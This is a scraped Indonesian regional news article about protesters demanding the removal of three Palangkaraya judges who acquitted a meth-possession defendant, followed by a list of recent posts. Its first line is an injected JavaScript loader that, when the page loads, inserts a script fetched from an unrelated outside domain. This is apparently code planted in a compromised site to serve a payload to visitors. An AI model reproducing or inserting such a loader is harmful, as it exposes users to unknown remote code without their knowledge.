(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Vonis Bebas Pemilik Sabu 2 Ons, Tiga Hakim PN Palangkaraya Minta Diberhentikan


KANALKALIMANTAN.COM, PALANGKARAYA – Puluhan warga beserta belasan organisasi kepemudaan dan kemasyarakatan di Kalimantan Tengah, Jum’at (27/5/2022), mengekspresikan kekecewaannya terkait keputusan hakim yang memvonis bebas terdakwa kasus narkoba, dengan melakukan aksi demonstrasi ke Pengadilan Negeri (PN) Palangkaraya.

Sebelumnya, terdakwa kasus narkoba yang divonis bebas itu ditangkap karena memiliki narkoba jenis sabu seberat dua ons.

Sabu dua ons tersebut juga sudah menjadi barang bukti, kata Koordinator Aksi Demonstrasi sekaligus Ketua Umum Fordayak Kalteng, Bambang Irawan saat berdemo di depan lantor PN Palangkaraya.

“Jadi, kami selaku masyarakat Kalteng melakukan aksi sebagai bentuk kekecewaan terhadap hakim PN Palangkaraya yang memvonis bebas terdakwa kasus narkoba itu,” katanya melansir Antara, Jum’at (27/5/2022).

 

 

Baca juga: Lelaki Tewas di Jalan Taruna Bhakti, Polisi Pastikan Korban Tabrak Lari

Dalam aksinya tersebut, masyarakat beserta belasan organisasi kepemudaan dan kemasyarakatan di Kalteng menuntut ketiga oknum hakim yang membuat keputusan itu segera dinonaktifkan atau diberhentikan karena keputusan itu mengindikasikan mereka menyalahgunakan jabatan dan kewenangan.

Bambang mengungkapkan, keputusan membebaskan terdakwa kasus narkoba dengan barang bukti sabu seberat dua ons ini menjadi preseden buruk bagi pemberantasan narkoba di Indonesia, khususnya di Kalteng.

Untuk itu, menurut Bambang, hakim yang membuat keputusan tersebut sudah selayaknya diberhentikan dari jabatannya.

“Kami sudah menyampaikan tuntutan menonaktifkan oknum hakim tersebut, dan PN Palangkaraya telah merespons dengan meminta waktu berkoordinasi ke Pengadilan Tinggi selaku yang mempunyai wewenang. Kami minta pada hari Senin (30/5/2022) sudah ada keputusan menonaktifkan ketiga oknum hakim itu,” ungkap Bambang.

Bambang, yang juga menjadi Pengurus Dewan Adat Dayak (DAD) Kalteng itu mendukung adanya pengajuan Kasasi Pengadilan Negeri Palangka Raya ke Mahkamah Agung.

Fordayak beserta sejumlah ormas dan masyarakat Kalteng berkomitmen akan terus mengawal kasus tersebut sampai memiliki keputusan final dan mengikat.

“Kami akan kawal terus kasasi ini. Kalau sampai hari Senin (30/5/2022) tidak ada keputusan menonaktifkan ketiga oknum hakim tersebut, kami selaku masyarakat Kalteng akan kembali melakukan demonstrasi,” kata Bambang.

Baca juga: Kronologi Honda Brio Seruduk Pohon di Peramuan Landasan Ulin

Sebelumnya, Kejaksaan Tinggi Kalimantan Tengah membenarkan pihaknya akan mengajukan upaya hukum kasasi ke Mahkamah Agung terkait Majelis Hakim Pengadilan Negeri Palangkaraya yang memvonis bebas terdakwa kasus narkoba Salihin alias Saleh. (Suara.com)

Editor : kk


Risa

Recent Posts

Bupati Banjar Ikuti RDP Komisi II DPR dan Mendagri Secara Daring

KANALKALIMANTAN.COM, MARTAPURA - Rapat Kerja dan Rapat Dengar Pendapat (RDP) bersama Menteri Dalam Negeri (Mendagri)… Read More

4 jam ago

Bahas Revisi RTRW Batola, Dinas PUPR Kalsel Gelar Rapat Forum Penataan Ruang

KANALKALIMANTAN.COM, BANJARBARU - Forum Penataan Ruang (FPR) Provinsi merupakan bagian dari mekanisme penyusunan regulasi tata… Read More

4 jam ago

Bawaslu Banjarbaru Panggil Para Terlapor Dugaan Netralitas Pemantau

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilu (Bawaslu) Kota Banjarbaru menerima sejumlah laporan usai pelaksanaan Pemungutan… Read More

4 jam ago

Rakernis Bidang Kesehatan 2025, Ini Pesan Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno membuka Rapat Kerja Teknis (Rakernis) bidang… Read More

4 jam ago

Penanganan Dugaan Politik Uang PSU Tak Berlanjut, Begini Penjelasan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penanganan pelanggaran dugaan money politic menjelang pelaksanaan Pemungutan Suara Ulang (PSU) di… Read More

5 jam ago

Pimpin Peringatan Hari Otda 2025, Wabup Sampaikan Apresiasi kepada Jajaran

KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Otonomi Daerah XXIX Tahun 2025 digelar oleh Pemkab Banjar di… Read More

9 jam ago